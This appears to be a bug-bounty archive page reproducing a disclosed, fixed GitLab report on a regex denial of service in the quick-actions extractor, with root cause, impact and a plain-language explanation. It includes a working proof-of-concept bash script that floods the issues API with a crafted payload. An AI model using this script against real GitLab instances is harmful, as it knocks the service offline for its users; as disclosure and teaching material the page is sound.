Skip to content
DoS Disclosed report Intermediate

ReDoS via INLINE_CODE_REGEX in lib/gitlab/quick_actions/extractor.rb

A regular expression used to exclude inline code from quick actions has cubic complexity, causing an application-wide denial of service when a crafted issue description is processed. An attacker with an API token and permission to post issues can make the GitLab instance unresponsive.

GitLab

Originally disclosed on GitLab

  • Fixed in 4 months
  • Disclosed after 4 months

HackerOne report #1277918 by hashkitten on 2021-07-26, assigned to @dcouture:

Report | How To Reproduce

Report

Summary

A regex that is used to exclude certain patterns in markdown from Quick Actions has cubic complexity, leading to an application wide DoS.

Detail

Gitlab uses regular expressions to exclude certain parts of markdown from being considered a quick action. In lib/gitlab/quick_actions/extractor.rb the code defines an INLINE_CODE_REGEX as follows:

Ruby
INLINE_CODE_REGEX = %r{  
  (?<inline_code>  
    # Inline code on separate rows:  
    # `  
    # Anything, including `/cmd arg` which are ignored by this filter  
    # `

    `\n*  
    .+?  
    \n*`  
  )  
}mix.freeze  

which is then used as part of a bigger EXCLUSION_REGEX

Ruby
EXCLUSION_REGEX = %r{  
  #{CODE_REGEX} | #{INLINE_CODE_REGEX} | #{HTML_BLOCK_REGEX} | #{QUOTE_BLOCK_REGEX}  
}mix.freeze  

This regex is matched against the body of issues, comments etc. to exclude certain markdown elements from being considered a candidate for quick actions. However, the INLINE_CODE_REGEX has cubic complexity, which leads to an application wide DoS with the pathological input

"`"+"\n"*100000+"x".  

Steps to reproduce

The attacker needs an API token and the ability to post issues on at least one project. Run the following bash script, which will attempt to create issues with the body described above:

Bash
PROTO=https  
GITLAB_HOST=your-gitlab-instance  
PROJECT_ID=xxxxxx  
AUTH_TOKEN=xxxxxx

PAYLOAD=$(ruby -e'print "`"+"\n"*100000+"x"')

for i in {1..50}; do  
  curl -X POST \  
    "${PROTO}://${GITLAB_HOST}/api/v4/projects/${PROJECT_ID}/issues" \  
    -H "Private-Token: ${AUTH_TOKEN}" \  
    --data "title=issue_${RANDOM}_${RANDOM}" \  
    --data "description=${PAYLOAD}" & done  

In local testing this caused my Gitlab instance to become unresponsive.

Results of GitLab environment info

I reproduced via docker in gitlab/gitlab-ee:latest.

System information  
System:  
Proxy:          no  
Current User:   git  
Using RVM:      no  
Ruby Version:   2.7.2p137  
Gem Version:    3.1.4  
Bundler Version:2.1.4  
Rake Version:   13.0.3  
Redis Version:  6.0.14  
Git Version:    2.32.0  
Sidekiq Version:5.2.9  
Go Version:     unknown

GitLab information  
Version:        14.1.0-ee  
Revision:       e4567ef4362  
Directory:      /opt/gitlab/embedded/service/gitlab-rails  
DB Adapter:     PostgreSQL  
DB Version:     12.6  
URL:            http://gitlab.example.com  
HTTP Clone URL: http://gitlab.example.com/some-group/some-project.git  
SSH Clone URL:  [email protected]:some-group/some-project.git  
Elasticsearch:  no  
Geo:            no  
Using LDAP:     no  
Using Omniauth: yes  
Omniauth Providers:

GitLab Shell  
Version:        13.19.0  
Repository storage paths:  
- default:      /var/opt/gitlab/git-data/repositories  
GitLab Shell path:              /opt/gitlab/embedded/service/gitlab-shell  
Git:            /opt/gitlab/embedded/bin/gi  

Impact

This can be used to render a hosted Gitlab instance inaccessible.

How To Reproduce

Please add reproducibility information to this section:

The original report as published on GitLab. Images and videos are our own copies; raw HTML is shown as text. View it on GitLab.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

The INLINE_CODE_REGEX pattern has cubic time complexity when matched against a long sequence of newlines followed by a character.

Impact

This can be used to render a hosted GitLab instance inaccessible.

What the attacker needed

An API token; permission to post issues on a project

How it was found

  1. Obtain an API token and access to a project where issues can be posted.
  2. Craft an issue description consisting of a backtick, many newlines, and a character.
  3. Send many concurrent requests to create issues with that description.
  4. Observe the GitLab instance becoming unresponsive.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A regular expression is a pattern used to search text. Some patterns take much longer on certain inputs, and here a specially crafted issue description makes the server spend excessive time matching, so it stops responding to other users.

What is DoS?

A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.

More from GitLab

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Denial of service

The lesson behind this report.

A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.